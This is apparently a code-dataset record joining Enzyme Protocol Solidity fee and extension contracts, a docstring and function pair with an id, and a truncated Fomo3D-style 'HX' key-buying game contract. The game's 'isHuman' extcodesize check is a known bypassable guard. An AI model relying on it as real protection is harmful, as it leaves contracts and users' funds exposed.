_gavOrZero ) private returns (uint256 gav_) { gav_ = _gavOrZero; for (uint256 i; i < _fees.length; i++) { (bool settles, bool usesGav) = IFee(_fees[i]).settlesOnHook(_hook); if (!settles) { continue; } if (usesGav) { gav_ = __getGavAsNecessary(_comptrollerProxy, gav_); } __settleFee(_comptrollerProxy, _vaultProxy, _fees[i], _hook, _settlementData, gav_); } return gav_; } /// @dev Helper to update fees that implement a given fee hook function __updateFees( address _comptrollerProxy, address _vaultProxy, address[] memory _fees, FeeHook _hook, bytes memory _settlementData, uint256 _gavOrZero ) private { uint256 gav = _gavOrZero; for (uint256 i; i < _fees.length; i++) { (bool updates, bool usesGav) = IFee(_fees[i]).updatesOnHook(_hook); if (!updates) { continue; } if (usesGav) { gav = __getGavAsNecessary(_comptrollerProxy, gav); } IFee(_fees[i]).update(_comptrollerProxy, _vaultProxy, _hook, _settlementData, gav); } } /////////////////// // STATE GETTERS // /////////////////// /// @notice Get a list of enabled fees for a given fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @return enabledFees_ An array of enabled fee addresses function getEnabledFeesForFund(address _comptrollerProxy) public view returns (address[] memory enabledFees_) { return comptrollerProxyToFees[_comptrollerProxy]; } // PUBLIC FUNCTIONS /// @notice Get the amount of shares outstanding for a particular fee for a fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _fee The fee address /// @return sharesOutstanding_ The amount of shares outstanding function getFeeSharesOutstandingForFund(address _comptrollerProxy, address _fee) public view returns (uint256 sharesOutstanding_) { return comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee]; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "./IFeeManager.sol"; /// @title Fee Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for all fees interface IFee { function activateForFund(address _comptrollerProxy, address _vaultProxy) external; function addFundSettings(address _comptrollerProxy, bytes calldata _settingsData) external; function payout(address _comptrollerProxy, address _vaultProxy) external returns (bool isPayable_); function getRecipientForFund(address _comptrollerProxy) external view returns (address recipient_); function settle( address _comptrollerProxy, address _vaultProxy, IFeeManager.FeeHook _hook, bytes calldata _settlementData, uint256 _gav ) external returns ( IFeeManager.SettlementType settlementType_, address payer_, uint256 sharesDue_ ); function settlesOnHook(IFeeManager.FeeHook _hook) external view returns (bool settles_, bool usesGav_); function update( address _comptrollerProxy, address _vaultProxy, IFeeManager.FeeHook _hook, bytes calldata _settlementData, uint256 _gav ) external; function updatesOnHook(IFeeManager.FeeHook _hook) external view returns (bool updates_, bool usesGav_); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /// @title FeeManager Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for the FeeManager interface IFeeManager { // No fees for the current release are implemented post-redeemShares enum FeeHook {Continuous, PreBuyShares, PostBuyShares, PreRedeemShares} enum SettlementType {None, Direct, Mint, Burn, MintSharesOutstanding, BurnSharesOutstanding} function invokeHook( FeeHook, bytes calldata, uint256 ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../utils/FundDeployerOwnerMixin.sol"; import "../IExtension.sol"; /// @title ExtensionBase Contract /// @author Enzyme Council <[email protected]> /// @notice Base class for an extension abstract contract ExtensionBase is IExtension, FundDeployerOwnerMixin { event ValidatedVaultProxySetForFund( address indexed comptrollerProxy, address indexed vaultProxy ); mapping(address => address) internal comptrollerProxyToVaultProxy; modifier onlyFundDeployer() { require(msg.sender == getFundDeployer(), "Only the FundDeployer can make this call"); _; } constructor(address _fundDeployer) public FundDeployerOwnerMixin(_fundDeployer) {} /// @notice Allows extension to run logic during fund activation /// @dev Unimplemented by default, may be overridden. function activateForFund(bool) external virtual override { return; } /// @notice Allows extension to run logic during fund deactivation (destruct) /// @dev Unimplemented by default, may be overridden. function deactivateForFund() external virtual override { return; } /// @notice Receives calls from ComptrollerLib.callOnExtension() /// and dispatches the appropriate action /// @dev Unimplemented by default, may be overridden. function receiveCallFromComptroller( address, uint256, bytes calldata ) external virtual override { revert("receiveCallFromComptroller: Unimplemented for Extension"); } /// @notice Allows extension to run logic during fund configuration /// @dev Unimplemented by default, may be overridden. function setConfigForFund( address, address, bytes calldata ) external virtual override { return; } /// @dev Helper to store the validated ComptrollerProxy-VaultProxy relation function __setValidatedVaultProxy(address _comptrollerProxy, address _vaultProxy) internal { comptrollerProxyToVaultProxy[_comptrollerProxy] = _vaultProxy; emit ValidatedVaultProxySetForFund(_comptrollerProxy, _vaultProxy); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the verified VaultProxy for a given ComptrollerProxy /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @return vaultProxy_ The VaultProxy of the fund function getVaultProxyForFund(address _comptrollerProxy) public view returns (address vaultProxy_) { return comptrollerProxyToVaultProxy[_comptrollerProxy]; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../core/fund/comptroller/IComptroller.sol"; import "../../core/fund/vault/IVault.sol"; /// @title PermissionedVaultActionMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A mixin contract for extensions that can make permissioned vault calls abstract contract PermissionedVaultActionMixin { /// @notice Adds an external position to active external positions /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _externalPosition The external position to be added function __addExternalPosition(address _comptrollerProxy, address _externalPosition) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IVault.VaultAction.AddExternalPosition, abi.encode(_externalPosition) ); } /// @notice Adds a tracked asset /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _asset The asset to add function __addTrackedAsset(address _comptrollerProxy, address _asset) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IVault.VaultAction.AddTrackedAsset, abi.encode(_asset) ); } /// @notice Grants an allowance to a spender to use a fund's asset /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _asset The asset for which to grant an allowance /// @param _target The spender of the allowance /// @param _amount The amount of the allowance function __approveAssetSpender( address _comptrollerProxy, address _asset, address _target, uint256 _amount ) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IVault.VaultAction.ApproveAssetSpender, abi.encode(_asset, _target, _amount) ); } /// @notice Burns fund shares for a particular account /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _target The account for which to burn shares /// @param _amount The amount of shares to burn function __burnShares( address _comptrollerProxy, address _target, uint256 _amount ) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IVault.VaultAction.BurnShares, abi.encode(_target, _amount) ); } /// @notice Executes a callOnExternalPosition /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _data The encoded data for the call function __callOnExternalPosition(address _comptrollerProxy, bytes memory _data) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IVault.VaultAction.CallOnExternalPosition, _data ); } /// @notice Mints fund shares to a particular account /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _target The account to which to mint shares /// @param _amount The amount of shares to mint function __mintShares( address _comptrollerProxy, address _target, uint256 _amount ) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IVault.VaultAction.MintShares, abi.encode(_target, _amount) ); } /// @notice Removes an external position from the vaultProxy /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _externalPosition The ExternalPosition to remove function __removeExternalPosition(address _comptrollerProxy, address _externalPosition) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IVault.VaultAction.RemoveExternalPosition, abi.encode(_externalPosition) ); } /// @notice Removes a tracked asset /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _asset The asset to remove function __removeTrackedAsset(address _comptrollerProxy, address _asset) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IVault.VaultAction.RemoveTrackedAsset, abi.encode(_asset) ); } /// @notice Transfers fund shares from one account to another /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _from The account from which to transfer shares /// @param _to The account to which to transfer shares /// @param _amount The amount of shares to transfer function __transferShares( address _comptrollerProxy, address _from, address _to, uint256 _amount ) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IVault.VaultAction.TransferShares, abi.encode(_from, _to, _amount) ); } /// @notice Withdraws an asset from the VaultProxy to a given account /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _asset The asset to withdraw /// @param _target The account to which to withdraw the asset /// @param _amount The amount of asset to withdraw function __withdrawAssetTo( address _comptrollerProxy, address _asset, address _target, uint256 _amount ) internal { IComptroller(_comptrollerProxy).permissionedVaultAction( IVault.VaultAction.WithdrawAssetTo, abi.encode(_asset, _target, _amount) ); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title AddressArray Library /// @author Enzyme Council <[email protected]> /// @notice A library to extend the address array data type library AddressArrayLib { ///////////// // STORAGE // ///////////// /// @dev Helper to remove an item from a storage array function removeStorageItem(address[] storage _self, address _itemToRemove) internal returns (bool removed_) { uint256 itemCount = _self.length; for (uint256 i; i < itemCount; i++) { if (_self[i] == _itemToRemove) { if (i < itemCount - 1) { _self[i] = _self[itemCount - 1]; } _self.pop(); removed_ = true; break; } } return removed_; } //////////// // MEMORY // //////////// /// @dev Helper to add an item to an array. Does not assert uniqueness of the new item. function addItem(address[] memory _self, address _itemToAdd) internal pure returns (address[] memory nextArray_) { nextArray_ = new address[](_self.length + 1); for (uint256 i; i < _self.length; i++) { nextArray_[i] = _self[i]; } nextArray_[_self.length] = _itemToAdd; return nextArray_; } /// @dev Helper to add an item to an array, only if it is not already in the array. function addUniqueItem(address[] memory _self, address _itemToAdd) internal pure returns (address[] memory nextArray_) { if (contains(_self, _itemToAdd)) { return _self; } return addItem(_self, _itemToAdd); } /// @dev Helper to verify if an array contains a particular value function contains(address[] memory _self, address _target) internal pure returns (bool doesContain_) { for (uint256 i; i < _self.length; i++) { if (_target == _self[i]) { return true; } } return false; } /// @dev Helper to merge the unique items of a second array. /// Does not consider uniqueness of either array, only relative uniqueness. /// Preserves ordering. function mergeArray(address[] memory _self, address[] memory _arrayToMerge) internal pure returns (address[] memory nextArray_) { uint256 newUniqueItemCount; for (uint256 i; i < _arrayToMerge.length; i++) { if (!contains(_self, _arrayToMerge[i])) { newUniqueItemCount++; } } if (newUniqueItemCount == 0) { return _self; } nextArray_ = new address[](_self.length + newUniqueItemCount); for (uint256 i; i < _self.length; i++) { nextArray_[i] = _self[i]; } uint256 nextArrayIndex = _self.length; for (uint256 i; i < _arrayToMerge.length; i++) { if (!contains(_self, _arrayToMerge[i])) { nextArray_[nextArrayIndex] = _arrayToMerge[i]; nextArrayIndex++; } } return nextArray_; } /// @dev Helper to verify if array is a set of unique values. /// Does not assert length > 0. function isUniqueSet(address[] memory _self) internal pure returns (bool isUnique_) { if (_self.length <= 1) { return true; } uint256 arrayLength = _self.length; for (uint256 i; i < arrayLength; i++) { for (uint256 j = i + 1; j < arrayLength; j++) { if (_self[i] == _self[j]) { return false; } } } return true; } /// @dev Helper to remove items from an array. Removes all matching occurrences of each item. /// Does not assert uniqueness of either array. function removeItems(address[] memory _self, address[] memory _itemsToRemove) internal pure returns (address[] memory nextArray_) { if (_itemsToRemove.length == 0) { return _self; } bool[] memory indexesToRemove = new bool[](_self.length); uint256 remainingItemsCount = _self.length; for (uint256 i; i < _self.length; i++) { if (contains(_itemsToRemove, _self[i])) { indexesToRemove[i] = true; remainingItemsCount--; } } if (remainingItemsCount == _self.length) { nextArray_ = _self; } else if (remainingItemsCount > 0) { nextArray_ = new address[](remainingItemsCount); uint256 nextArrayIndex; for (uint256 i; i < _self.length; i++) { if (!indexesToRemove[i]) { nextArray_[nextArrayIndex] = _self[i]; nextArrayIndex++; } } } return nextArray_; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../core/fund-deployer/IFundDeployer.sol"; /// @title FundDeployerOwnerMixin Contract /// @author Enzyme Council <[email protected]> /// @notice A mixin contract that defers ownership to the owner of FundDeployer abstract contract FundDeployerOwnerMixin { address internal immutable FUND_DEPLOYER; modifier onlyFundDeployerOwner() { require( msg.sender == getOwner(), "onlyFundDeployerOwner: Only the FundDeployer owner can call this function" ); _; } constructor(address _fundDeployer) public { FUND_DEPLOYER = _fundDeployer; } /// @notice Gets the owner of this contract /// @return owner_ The owner /// @dev Ownership is deferred to the owner of the FundDeployer contract function getOwner() public view returns (address owner_) { return IFundDeployer(FUND_DEPLOYER).getOwner(); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `FUND_DEPLOYER` variable /// @return fundDeployer_ The `FUND_DEPLOYER` variable value function getFundDeployer() public view returns (address fundDeployer_) { return FUND_DEPLOYER; } }
Get the amount of shares outstanding for a particular fee for a fund _comptrollerProxy The ComptrollerProxy of the fund _fee The fee address return sharesOutstanding_ The amount of shares outstanding
function getFeeSharesOutstandingForFund(address _comptrollerProxy, address _fee) public view returns (uint256 sharesOutstanding_) { return comptrollerProxyToFeeToSharesOutstanding[_comptrollerProxy][_fee]; }
223,767
pragma solidity ^0.4.24; contract HXevents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } //============================================================================== // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . //====================================|========================================= contract modularShort is HXevents {} contract HX is modularShort { using SafeMath for *; using NameFilter for string; using HXKeysCalcLong for uint256; address developer_addr = 0xE5Cb34770248B5896dF380704EC19665F9f39634; address community_addr = 0xb007f725F9260CD57D5e894f3ad33A80F0f02BA3; address token_community_addr = 0xBEFB937103A56b866B391b4973F9E8CCb44Bb851; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF7ca07Ff0389d5690EB9306c490842D837A3fA49); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== string constant public name = "HX"; string constant public symbol = "HX"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 0; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 1 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => HXdatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => HXdatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => HXdatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => HXdatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => HXdatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (HX, 0) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = HXdatasets.TeamFee(30,6); //46% to pot, 20% to aff, 2% to com, 2% to air drop pot fees_[1] = HXdatasets.TeamFee(43,0); //33% to pot, 20% to aff, 2% to com, 2% to air drop pot fees_[2] = HXdatasets.TeamFee(56,10); //20% to pot, 20% to aff, 2% to com, 2% to air drop pot fees_[3] = HXdatasets.TeamFee(43,8); //33% to pot, 20% to aff, 2% to com, 2% to air drop pot // how to split up the final pot based on which team was picked // (HX, 0) potSplit_[0] = HXdatasets.PotSplit(15,10); //48% to winner, 25% to next round, 12% to com potSplit_[1] = HXdatasets.PotSplit(25,0); //48% to winner, 20% to next round, 12% to com potSplit_[2] = HXdatasets.PotSplit(20,20); //48% to winner, 15% to next round, 12% to com potSplit_[3] = HXdatasets.PotSplit(30,10); //48% to winner, 10% to next round, 12% to com } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. "); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data HXdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data HXdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data HXdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data HXdatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit HXevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit HXevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) 